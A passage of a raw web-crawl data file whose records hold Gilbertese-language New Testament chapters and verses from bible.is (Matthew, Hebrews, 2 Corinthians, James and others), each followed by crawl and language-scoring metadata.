35ao taan tararuaa te onaroka a tauuia ana toro; ao a batiboa temanna, ao a kamatea temanna, ao a karebanaa temanna n te atiibu. 36Ao e a manga kanakoia tooro tabemwaang aika a mwaiti riki nakoia ake e moani kanakoia; ao a manga karaoa naba aron are a karaoia nakoia ake a moani kanakoaki. 37Ao rimwi e kanakoa natina te mwaane nako ia, ao e taku, Ane a na karinea natiu. 38Ma ngke a noora natina taan tararuaa te onaroka, ao a taku irouia, Ngaia aei te tia bwaibwai i mwiin tamana; nako mai bwa ti na kamatea, ao ti na bwain ana bwai. 39A tauua, ao a tewea nako mani nnen te kureebe, ao a kamatea. 40Ngkana e roko teuare ana bwai nnen te kureebe, ao tera ae e na karaoia nakoia taan tararua akekei? 41A taku nakoina, Ane e na kamateia aomata ake a buaakaka akekei n te aro ae a na kananoanga iai; ao e na anga taekani nnen te kureebe nakoia tabemwaang bwa a na tararuaia ibukina, ao a na anganna tibwana man uaa n tain uaa n tawaa. 42E taku Iesu nako ia, Kam tuai ni wareka are n te Baibara are e kaangai: Te atiibu are e kaakeaaki boongana irouia taani kateitei, E a riki bwa bouan te maninganinga; Aei ana mwakuri te Uea, ao e kamiimii i matara! 43Ma ngaia ae I taku nakoimi, E na anaaki mai iroumi uean te Atua, ao e na anganaki te bootanaomata teuana ane e na ongeaaba nakon te Atua. 45Ngke a ongo ibonga ake mataniwi ma Bwaritaio ana rongorongo ni kabootau, ao a ataia bwa E taekiniia iai. 46A kan tauua ni kaburea, ma a maakuia aomata: bwa a taku aomata bwa te buraabeti Ngaia.\nMATAIO 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/21","date":"2013-12-06T09:53:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051140\/warc\/CC-MAIN-20131204131731-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1324,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:33ao ti na iranira ni kareke maiura ngkana ti aki mutiakina te aro ni kamaiu ae e kakannato aei? E moa n taekinaki iroun te Uea, ao e kakoauaaki nakoira irouia ake a ongo; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/3","date":"2013-12-09T03:38:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163860676\/warc\/CC-MAIN-20131204133100-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999922513961792}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te onimaki bon te aki-nanokokoraki ni baika a kaantaningaaki, ae kakoauaani baika a aki nooraki. 2Bon ibukin aia onimaki ikawai ake ngkoangkoa ae E kukurei iai irouia te Atua. 3I bukina ngkai ti onimaki, ao ti a ataia iai bwa a karikaki karawa ma aonnaba n ana taeka te Atua; ma ngaia ae te bae e nooraki e a karikaki mani baika a aki nooraki. 4I bukin ana onimaki Abera, ao e angan te Atua te karea ae e raoiroi riki nakon ana karea Kain; ao ibukin ana onimaki ao E kukurei te Atua irouna ngkai e karaoa nanona; ao e boni ngae ni mate Abera, ma e teimatoa n taetae ana onimaki ibukina. 5I bukin ana onimaki Enoka, ao e uotaki rake ngke e maiu bwa e na aki bo ma te mate; ao e aki manga nooraki bwa E uotia rake te Atua. Bwa i mwaain uotakina rake, ao iai kakoauaana bwa e kakukureia te Atua. 6Ma ngkana akea te onimaki ao e aki konaa te aomata ni kakukureia te Atua; bwa e bon riai iroun te aomata ane e nako n te Atua ni kakoauaa bwa bon iai te Atua ao boni Ngaia te tia karekea kaniwangaia te koraki aika a kakorakoraia n ukoukoria. 7I bukin ana onimaki Nooa, ao e ongo ana taeka ni katauraoi te Atua ibukini baika a na riki rimwi aika a aki konaaki n nooraki. E ongeaaba nakon te Atua ao e kabaa te kaibuke are e a kamaiuaki iai ma ana utu. Ao ibukin aei a motikaki iai taekaia kaain aon te aba ni kabuaakakaaki, ao Nooa e riki bwa te tia bwaibwai n te raoiroi are e reke n te onimaki. 8I bukin ana onimaki Aberaam, ao e ongeaaba ngke e weteaki iroun te Atua, ao e nako n te tabo are e na anganaki bwa abana; ao e mwananga n aki ataa ike e na nako iai. 9I bukin ana onimaki Aberaam, ao e maeka n iruwa n te aba are e atongaki n te taeka n akoi; ao e maeka n umwanrianna ma Itaaka ma Iakobwa, aika iai naba tibwangaia n te taeka n aakoi naba aei. 10Bwa Aberaam e kaantaninga te kaawa are iai aana ae e teimatoa, ae te kaawa ae e iangoaki arona iroun te Atua ao Ngaia naba ae e kateia. 11I bukin ana onimaki Nei Tara, ao e reke irouna te konaa ni kariki, e boni ngae ngke e a rangi ni kara. E taku bwa E kakaonimaki Teuare e anganna te taeka n akoi; 12ma ngaia are a a riki mai iroun ae ti temanna ae kaanga ae e mate, kanoana aika ai aroni mwaitin itoini karawa, ao ai aron te tano ae i aon te bike, ae e aki konaaki ni warekaki. 13A bane ni mate i nanon te onimaki Aberaam, Itaaka ao Iakobwa ngke a tuai n reke irouia baike a atongaki n taeka n aakoi akekei; ma a noori mai kiiraroa, ao a kukurei iai, ao a taku bwa bon II-anena ngaiia ao aomata aikaa maeka n iruwa i aon te aba. 14Bwa te koraki akana a atongi taeka aikai a kaotiia raoi iai bwa a korakora nanoia ni kani karekea te tabo ae bon abaia. 15Ao ngke tao a uringa te aba are a maeka ngkoa iai, ao a na kaman tia n reke aia tai n okiria. 16Ma a bon tangira te tabo ae e raoiroi riki, are i karawa. Ma ngaia are E aki maamaa te Atua n atongaki irouia bwa Atuaia, bwa E a tia ni katauraoa aia kaawa i bukiia. 17I bukin ana onimaki Aberaam, ao e anga Itaaka bwa te karea ngke e kataaki. Teuare a atongaki taeka n aakoi nakoina, e tauraoi n anga natina ae te rikitemanna bwa te karea; 18boni ngaia are e atongaki ae e kaangai nakoina, A na atoatongaki am kariki nako i nanon Itaaka. 19E kakoauaa Aberaam i nanona bwa E konaa te Atua ni manga kamaiua te mate—ao aei kaanga ai aron taekani manga-maiun Itaaka man te mate. 20I bukin ana onimaki Itaaka, ao e taetae ni kakabwaia Iakobwa ma Etau nakoni boong aika a na roko. 21I bukin ana onimaki Iakobwa ao e taetae ni kakabwaiaia natin Iotebwa n tatabemaniia nako ngke e a kaani mate. E tei n raraa aon okona n nakonako ao e taromauriia te Atua. 22I bukin ana onimaki Iotebwa, ao ngke e nangi mate, ao e taetae bwa a na oti nako tibun Iteraera mai Aikubita, ao e tua te baere e riai ni karaoaki ibukin riina. 23I bukin aia onimaki ana karo Mote, ao a karabaa Mote teniua namwakaina i mwiini bungiakina, bwa a nooria bwa te teei ae e tamaaroa; ao a aki maaka ana taeka te uea. 24I bukin ana onimaki Mote, ao e rawa n atongaki bwa natin natini Bwarao te aine ngke e a ikawai; 25ma e tangira riki ae e na uaia ni bwainikiriinaki ma ana aomata te Atua nakon ae e kakukureia n te buaakaka i nanon te tai ae e aki maan. 26E taku i nanona bwa te bwai ae e kakaawaki riki te taetaebuakaaki ibukin te Mesia nakoni kaubwain Aikubita aika a bati: bwa e tabe n iaiangoa te kaniwanga are e na anganaki n te tai ae e na roko. 27I bukin ana onimaki Mote, ao e kiitana Aikubita n aki maaka unin te uea. E kanene n arona aei bwa kaanga ai aron ae e noora te Atua ae e aki noonooraki. 28I bukin ana onimaki Mote, ao e a riki iai ni karaoa te Toa are te Riao ma katimtimwan te raraa, bwa e aonga teuare e tiritiri n aki kamateia naati mwaane ake karimoa. 29I bukin aia onimaki Iteraera, ao a ri nuukan Tari are Uraura n ai aron ae kaanga a nakonako i aon te tano ae e mwauu; ao ngke a kataia I-Aikubita ni karaoa naba aei, ao a iekaki n te ran ao a mate. 30N te onimaki are a bwaka iai nonon Ieriko, ngke a a tia ni katoobibiaki itibong. 31N te onimaki are e aki kamateaki iai Nei Raaba are te kabekaau ma ake a aki onimaki, ngke e a tia ni mwaneiia n akoiia taan tutuo akekei ma te rau. 32Ao tera riki ae N na atongnga? E na bane au tai ngkana I taekina Kiteon, ma Bwaraka, ma Tamton, ma Iebeta, ma Tawita, ma Tamuera, ma taiani buraabeti. 33N te onimaki ao a kataei aia kai ueea, a kaakaraoa nanon te Atua, a reke irouia baike a atongaki n taeka n akoi, a kaini wiia raian, 34a katoka korakoran uran te ai, a rawei maiuia man te tiringaki n te kabaang, a kakorakoraaki ngkana a mamaara, a riki n ninikoria n te buaka, ao a katae aia kai aia taanga n tautia I-anena; 35a manga reke irouia aine aia koraki ake a tia ni mate ngke a a manga maiu. Ao temwaangina a kataereaki ni karokoi mateia, ngke a rawa ni kani kainaomataaki, bwa a aonga n reke irouia te maiu ae e raoiroi riki ngkana a manga maiu. 36A kataaki temwaangina ni kakanikoaia ao ni kataereaia, ao temwaangina ni kabaeaia n taurekereke ao ni kainakiia n te karabuuti. 37A karebanaaki n atiibu, a kariiriiaki, a korouaaki n taao, a kamateaki n te kabaang, a tiotio nako ni kunnikaiia ni kunnikai aika a karaoaki mani kuniia tiibu ma kooti. Akea aia bwai, a kammarakaki, a bwainikiriinaki; 38a aki tau nakon te aonnaba aei: a tiotio nako n rereua, ao i aoni maunga, ao i nanoni bwanganimatang ma kinonon te aba. 39Ao aomata aikai, aika E kukurei te Atua irouia ibukin aia onimaki, a bane n aki karekea te baere e atongaki n te taeka n akoi, 40ibukina bwa iai ana kaantaninga ae e raoiroi riki te Atua i bukira: bwa a na aki konaa ni kakoroaki raoi aroia n ai aron are E tangiriia iai te Atua, ngkana a aki raonaki iroura.\nEBERA 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/11","date":"2013-12-09T19:52:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163996875\/warc\/CC-MAIN-20131204133316-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1323,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:22ao kam na kaona au kimwaareirei, bwa kam na i buoka n iango, kam na bwaina te tangira ae ti te arona, kam na katiteuanaaki n ami iango bwa kaanga ai aron temanna n aomata ngkami: Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/2","date":"2013-12-10T23:05:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000015497207642}","num_words":52,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa ti ataia bwa ngkana e uruaki te umwa n rianna ae i aon te aba ae nnera ni maeka, ao bon iai te auti mai iroun te Atua, ae te nne ni maeka ae aki karaoaki ni baiia aomata, ae te auti ae e aki konaa n uruaki, are i karawa. 2Bwa ti ngirangira i nanoni nera ni maeka aei, ngkae e bati i nanora kani karinan ara auti mai karawa i aora; 3bwa ngkana ti kunnikaiaki iai, ao ti na aki kuneaki n akea karabaara. 4Bwa ngkai ti boni mena naba n te umwa n rianna aei, ao ti ngirangira ngkai ti rawaawata; tiaki ngkai ti kani kaaki mai aora karabaara, ma ngkai ti kani manga karina karabaara teuana i aora, bwa e aonga n oongaki te baere e maamate n te maiu. 5Ao Teuare e katauraoira nakon te oneaki aei bon te Atua, are anganiira te Taamnei bwa kakoauaan te oneaki aei bwa e na bon riki. 6Ma ngaia ae a kakorakoraaki nanora n taai nako, ao ti ataia bwa ngkai ti maeka ni mwengara ae te rabwata, ao ti raroa mani mwengara are iroun te Uea. 7Bwa ti nakonako n te onimaki, ma tiaki n ane e nooraki. 8A kakorakoraaki nanora, ao ti tangira riki te kiitana mwengara ae te rabwata ma n nako ni maeka ma te Uea. 9Ma ngaia aei, bwa ti mena ni mwengara aei ke ti kiitanna, ma nanora bon ti te kani kakukureia te Atua. 10Bwa ti na boni bane ni kateaki i matan ana kaintoka ni motiki-taeka Kristo, bwa e aonga n anganaki temanna ma temanna booni mwiin ana mwakuri ni kabane ake e a tia ni karaoi n rabwatana, aika baika a raraoi ke a bubuaka. 11Ma ngaia aei, bwa ngkai ti ataa mwaakan te Uea, ao ti anai nanoia aomata; ma a ataaki arora iroun te Atua; ao bon au kaantaninga bwa ti ataaki raoi iroumi ni mataniwiin nanomi. 12Ti aki manga kani kamoamoaira riki nakoimi; ma ti kani kaota nakoimi bukin te bae kam na kamoamoa iai i bukira, bwa kam aonga ni konaa ni kaekaia te koraki ake a kainikatonga ibukin aron taraan te aomata, ma tiaki n aron anuana. 13Bwa ngkana ti rangirang ao bon ibukin te Atua, ke ngkana ti nano n aomata ao bon i bukimi. 14Bwa e tautaekaniira ana tangira Kristo; ao ngkai ti kakoauaa bwa E mate i bukiia aomata ni kabaneia, ao nanona bwa a bane aomata ni buokanibwai ni matena; 15ao E mate i bukiia ni kabaneia, bwa a aonga n aki manga kabane maiuia akana a maiu, bon i bukiia; ma a na kabane maiuia ibukin Teuare e mate i bukiia, ao are E a manga maiu naba i bukiia. 16Ma ngaia ae ma ngkai ao akea temanna ae ti na baairea taekana man te iango n aomata; e boni ngae ngke ti a tia n te taina ni baairea taekani Kristo iai, ma ti aki konaa ni manga karaoia riki nakoina. 17Ma ngaia aei, ngkana e reitaki te aomata ma Kristo, ao e riki bwa te aomata ae e boou; a nako aaro nikawai; nooria, a roko aika a boou. 18Baikai ni kabane boni mai iroun te Atua, are e raoiakinira nakoina irouni Kristo, ao E anganiira te nakoa n raoi; 19ae nanona, bwa te Atua irouni Kristo, E raoiakinia kaain aonnaba nakoina, n aki tau mwiin aia bure; ao E mwiokoira n taekan te raoi. 20Ma ngaia ae taan taetae ngaira ibukini Kristo, ao kangaa E taetae ni buubuti te Atua iroura: ti butingkami ibukini Kristo, bwa kam na raoi ma te Atua. 21Teuare e babanga karaoan te bure, E karaoia te Atua bwa kaanga ai aron te tia bure i bukira; bwa ti aonga n riki bwa aomata aika a karaoa nanon te Atua n arora n reitaki ma Kristo.\n2 KORINTO 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/5","date":"2013-12-08T11:41:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065206\/warc\/CC-MAIN-20131204131745-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":636,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ma Tirouano, ma Timoteo, nakoia kaain te ekaretia i Tetaronike aika ana bwai te Atua ae Tamara ma te Uea are Iesu Kristo; 2Ami bwai te aakoaki ma te raoi mai iroun te Atua ae Tamara ma te Uea are Iesu Kristo. 3Taari, ti bon riai ni katituaraoa te Atua n taai nako i bukimi, ngkae e rikirake ni matoatoa ami onimaki, ao e kabatiaaki ami i-tangitangiri ni kabaneingkami. 4Ma ngaia ae ti kamoamoaira i bukimi i buakoia ana ekaretia te Atua, ibukin taonan nanomi ma ami onimaki ri buakon taiani bwainikiriinaki ma rawaawata ni kabane aika kam taonaki iai. 5E a kaotaki ni baikai bwa e eti ana moti te Atua bwa kam aonga n atongaki bwa kam tau n anganaki uean te Atua, are kam bwainikiriinaki ibukina. 6Bwa te bwai ae e riai iroun te Atua bwa E na karawaawataiia te koraki ake a karawaawataingkami; 7ao E na anganingkami, ngkami akana kam karawaawataaki, kabeebeteami ma ngaira, ngkana E kaoti ara Uea are Iesu mai karawa ma ana anera aika a mwaaka, 8ma te ai ae e ura mwaaka. E na kareke kaiia ake a aki ira nanon euangkerion ara Uea are Iesu Kristo. 9Te rekenikai nakoia bon te mate are akea tokina, ao a na kararoaaki mai matan te Uea ao mani mwaakana ae e kamiimii arona, 10ngkana E roko te bong arei bwa E na neboaki irouia ana aomata aika a itiaki, ma ni kamoamoaaki irouia aika a onimaki. Ngkami naba i buakoia, ibukina ngkai kam a tia ni kakoauaa te rongorongo are ti taekinna nakoimi. 11Anne bukin ae ti aki toki iai n tataro i bukimi, bwa E na karaoingkami Atuara bwa kam na tau nakon te maiu are E a tia ni weteingkami nako iai bwa kam na bwainna; ao E na kaboonganaa mwaakana ni kakororaoa nanomi n tangira te raoiroi, ma ni katiai baika kam karaoi ibukin ami onimaki; 12bwa e aonga n neboaki aran ara Uea are Iesu Kristo iroumi, ao ngkami kam na neboaki irouna n ai aron ana aakoi Atuara ma te Uea are Iesu Kristo.\n2 TETARONIKE Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/","date":"2013-12-09T10:10:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163955638\/warc\/CC-MAIN-20131204133235-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":350,"character_repetition_ratio":0.076,"word_repetition_ratio":0.006,"special_characters_ratio":0.214,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:1212ao E rin n te tabo are moanibaan te tabu ti teuana te tai ao akea riki, ao E aki uoti raraaia kooti ma buniia kaao, ma E uota oin raraana ao E karekea kamaiuara ae e aki tootoki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/12","date":"2013-12-13T07:52:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164919525\/warc\/CC-MAIN-20131204134839-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999703169,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 0.9999703168869019}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam na tarataraingkami bwa kam na aki karaoi bwaai ake a kaeti ma bwain te onimaki i mataia aomata ni kan nooraki irouia; bwa ngkana aromi anne, ao a na akea te bwai n tituaraoi ae kam na anganaki mai iroun Tamami are i karawa. 2Ma ngaia aei, ngkana ko angabwai nakoia aika a kainnano ao ko na tai katanoata nakoia aomata, n ai aroia taani mwaamwanaa-te-aba ngkana a angabwai ni mwaneabaia I-Iutaia ao i nanoni kawai, bwa a aonga ni kamoamoaaki iai irouia aomata. E koaua ae I a tuangkami bwa e a tia n reke irouia booia mani mwiin aia mwakuri. 3Ma ngkana ko angabwai nakoia aika kainnano, ao karaoia n te aro ae akea ae e na ataia: 4bwa e aonga n raba am angabwai; ao E na anganiko te bwai n tituaraoi Tamam, ae e noora ae e raba, bwa am bwai. 5Ngkana kam tataro, ao tai kakairi irouia taani mwaamwanaa-te-aba: bwa a kan tei n tataro i nanoni mwaneabaia I-Iutaia ao i tuutani kawai, bwa a aonga n nooraki irouia aomata. E koaua ae I a tuangkami bwa e a tia n reke irouia booia mani mwiin aia mwakuri. 6Ma ngkana ko tataro, naako riin n am ru, ao kaina te mataroa, ao tataro nakon Tamam ae E raba; ao E na anganiko Tamam ae E raba te bwai n tituaraoi bwa am bwai. 7Ao ngkana kam tataro, ao tai kabatiai ami taeka aika akea nanoia, bwa anne aroia aomata ake a tuai onimakina te Atua, bwa a taku bwa a na reke nakoia bwaai ake a tataro i bukiia. 8Tai kakairi irouia, bwa E atai baika kam kainnanoi Tamami i mwaain ae kam butiia. 9Aio ngkanne aron ami tataro: Tamara are i karawa, E na tabuaki aram, 10E na roko ueam, E na tauaki am taeka i aonnaba, ai aron tauana i karawa. 11Ko na anganiira karara ae ti a tau iai n te bong aei; 12Ao Ko na kabwaraa ara bure mai iroura, ai arora ngkai ti kabwaraa aia bure akana a bure nakoira; 13Ao tai kairiira nakon te kariiriiaki, ma Ko na kamaiuira man te buaakaka; bwa am bwai te uea, ao te mwaaka, ao te neboaki n aki toki. Amene. 14Bwa ngkana kam kabwarai aia bure aomata ake a karaoi nakoimi, ao Tamami are i karawa, E na kabwarai naba ami bure ake kam karaoi nakoina. 15Ma ngkana kam aki kabwarai aia bure aomata ake a karaoi nakoimi, ao Tamami E na aki kabwarai naba ami bure ake kam karaoi nakoina. 16Ngkana kam aki ma matam, ao tai mata ni kananoanga n ai aroia taani mwaamwanaa-te-aba: bwa a kataraabuakai ubuia bwa e aonga n nooraki aia aki-mamatam irouia aomata. E koaua ae I a tuangkami bwa e a tia n reke i irouia booia mani mwiin aia mwakuri. 17Ma ngkana ko aki mamatam, ao ko na kabira atuum, ao teboki matam; 18bwa e na aki nooraki am aki-mamatam irouia aomata, ma e na nooraki iroun Tamam ae E noora ae e raba; ao Tamam ae E noora ae e raba, ane E na anganiko te bwai n tituaraoi bwa am bwai. 19Tai kaiko ami bwai aika a kakaawaki i aonnaba, ike e kangi bwaai iai te koa ma te rara, ao a uruuru ma n irae iai taan ira; 20Ma kam na kaiko ami bwai aika a kakaawaki i karawa, ike e aki kangi bwaai iai te koa ma te rara, ao a aki uru-bwai ma n irae iai taan ira; 21bwa ike a mena iai ami bwai aika a kakaawaki, ao a mena naba iai nanomi. 22Te mata ai aron te taura ibukin te rabwata. Ma ngaia are ngkana e raoiroi matam, ao e na buta rabwatam ni kabanea n te oota; 23ma ngkana e buaakaka matam, ao e na buta rabwatam ni kabanea n te roo. Ao ngkana bon te roo naba te oota i nanom, ao ai bati ra te roo! 24Akea te aomata ae e konaa n toro irouia tooka uoman: bwa ane e na ribaa temanna, ao e na kaakeaa boonganan are temanna. Kam aki konaa n toro iroun te Atua ma kaubwain te maiu aei. 25Ma ngaia ae I taku nakoimi, Tai iango n raraoma ibukini maiumi, bwa tera ae kam na kanna ke ae kam na nimma, ao ibukin rabwatami bwa tera ae kam na kunnikaia iai. Tiaki e boongana riki te maiu nakon te amwarake, ao te rabwata nakoni karabaana? 26Kam na tarai mannikiba, ngkai a aki unuuniki, ao a aki bobooti uaa ngkana a tai, ao a aki uraki nakoni nne n amwarake; ma E kakaamwarakeia Tamami are i karawa. Tiaki kam kakaawaki riki nakoia? 27Antai i buakomi, ibukin raraomana, ae e konaa ni kaananaua ana tai ni maiu nakon ae teuana riki te bong? 28Ao kam aera ngkai kam iangoi karabaami n raraomaeakin? Kam na iangoi aroia kiebun te aba, bwa a kangaa n rikirake; a aki mwamwakuri ao a aki bibinoka; 29ma I taku nakoimi bwa Toromon, e ngae ngke e kaubwai, ma e aki kunnikaiaki n ai aron te kaina te kiebu i buakon aikai. 30Ma ngkana e kunnikaiaki iroun te Atua te uteute ae e mena n te aba ae e maiu n te bong aei ao e karenakoaki nako nanoni nnen te ai ningabong, ao tiaki kam na kakoauaa bwa E na boni karekei kunnikaimi, ngkami aika a karako ami onimaki? 31Ma ngaia ae tai iango n raraoma, ni kaangai, Tera karara? ao, Tera nimara? Ao, Tera karabaara? 32Bwa a ukoukori baikai ni kabane aomata aika a aki onimakina te Atua; ao Tamami are i karawa, E ataia ae kam kainnanoi baikai ni kabane. 33Ma kam na ukoukora moa uean te Atua ma ana raoiroi, ao E na karekei baikai ni kabane te Atua nakoimi. 34Ma ngaia ae kam na tai iango n raraoma ibukin te ingabong bwa tera ae e na riki iai: bwa e na bon iangoa arona te ingabong n raraomaeakinna. E a tau ana bwai ni kararaoma te bong ae tebongina ngkana bon ana bwai.\nMATAIO 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/6","date":"2013-12-06T20:37:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052469\/warc\/CC-MAIN-20131204131732-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1003,"character_repetition_ratio":0.052,"word_repetition_ratio":0.039,"special_characters_ratio":0.236,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tariu, kam na tai riki bwa taan reirei aika a bati, ngkai ti ataia bwa ngaira aika taan reirei e na reke iroura motikan taekara ae e rawaawata riki. 2Bwa akea iroura ae e aki kaairua; ao ngkana iai ae e aki kaairua n ana taeka, ao bon te aomata ae e kororaoi n arona, ae e konaa ni bweena rabwatana ae e bwanin. 3Bwa ngkana ti karini mwakoroni biiti i nanoni wiia aoti ake a na bweenaki iai, bwa a aonga n iri nanora, ao ti a konaa iai ni kairiia nakon te tabo are ti tangiria. 4Ao taraia naba kaibuke: a abwaabwaki ao a kabutaki n aang aika a korakora, ma a kaetaki ni kawaia n te bwe ae moan te uarereke nakon te tabo are e kani borau nako iai te tia taubwe. 5Ao ai aron naba te newe: boni bwain te rabwata ae e uarereke, ao e kamoamoaa ibukin arona ni konaa ni karaoi baika a abwaabwaki. Noria, ai uarereke ra te ai ao e konaa ni kaurarakea te buakonikai ae e abwaabwaki ! 6Ao te newe ai aron te ai. Bwa te newe kaanga te aonnaba ae e on n te buaakaka i buakoni bwain rabwatara nako; e kamwaraaea te rabwata ni kabane, ao kaanga ae e kaurarakea maiura ae e bwanin n uran te ai mai Keenna. 7Bwa maan nako aika maan aika kakaeai waeia ma maan aika a kibakiba ma maan aika a kawakawa ma iika, a kamananaaki irouia aomata, ao a a kamani kamananaaki irouia; 8ma te newe, bon akea te aomata temanna ae e konaa ni kamananaa: bon te bwai ae e buaakaka ae e aki wene n rau, ae e on n te boitin ae e kamaamate. 9Ti kaboonganaa ibukini katituaraoan te Uea ae Tamara, ao ibukin naba karereantiaia aomata aika a karaoaki bwa katootoongan te Atua. 10E oti nako te taetae ni kakabwaia ma ni karereanti naba man te wi ae ti teuana. Tariu, a bon aki riai baikai. 11E konaa te koburake n ran ni kaotinakoa te ran ae e mam ma te ran ae e tarika man te koburake n ran ae ti teuana? 12Tariu, e konaa te biiku ni karika te oriwa? Ao e konaa te kureebe ni kariki biiku? Ao e aki konaa naba te karika te ran ae e mam te ran ae e taari. 13Antai te aomata ae e rabakau ae e atatai i buakomi? E na kaotia ni maiuna ae e raoiroi ao n ana mwakuri aika a raraoi aika e karaoi ma te nimamannei ao te rabakau. 14Ma ngkana iai i nanomi te bakantang ae e bati ma te iangoingkami i bon iroumi, ao kam na tai kamoamoaingkami n eekaanako te koaua ma ni kakewea. 15Te aeka n rabakau aei e aki ruo mai eta, ma boni bwain aon te aba, ae e bwain te rabwata, ao aia bwai taimonio. 16Bwa ike e mena iai te bakantang ma te iangoia te aomata bon ibukina, ao e mena naba iai te mangaongao irouia aomata ma mwakuri aika a bubuaka ni kabane. 17Ma te rabakau are mai eta e kairiia aomata nakon te maiu moa ae e itiaki, ao ae e rau ma n nimamannei, ae e bwaina te iraorao; e on n te nanoanga, ao e karaoi mwakuri nako aika a raraoi; e aki nanonano ao e aki mwaamwanaa te aba. 18Te maiu ae e raoiroi boni ngaia ae e na taiaki bwa te uaa are e riki man te koraa are e unikaki n te raoi irouia taan raoi.\nIAKOBO 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3","date":"2013-12-06T08:56:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050500\/warc\/CC-MAIN-20131204131730-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":588,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.502,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:5353Ngke E oti nako Iesu man te tabo arei, ao taani koroboki ma Bwaritaio, a kaunuuniia nakoina, ao a kabatiai 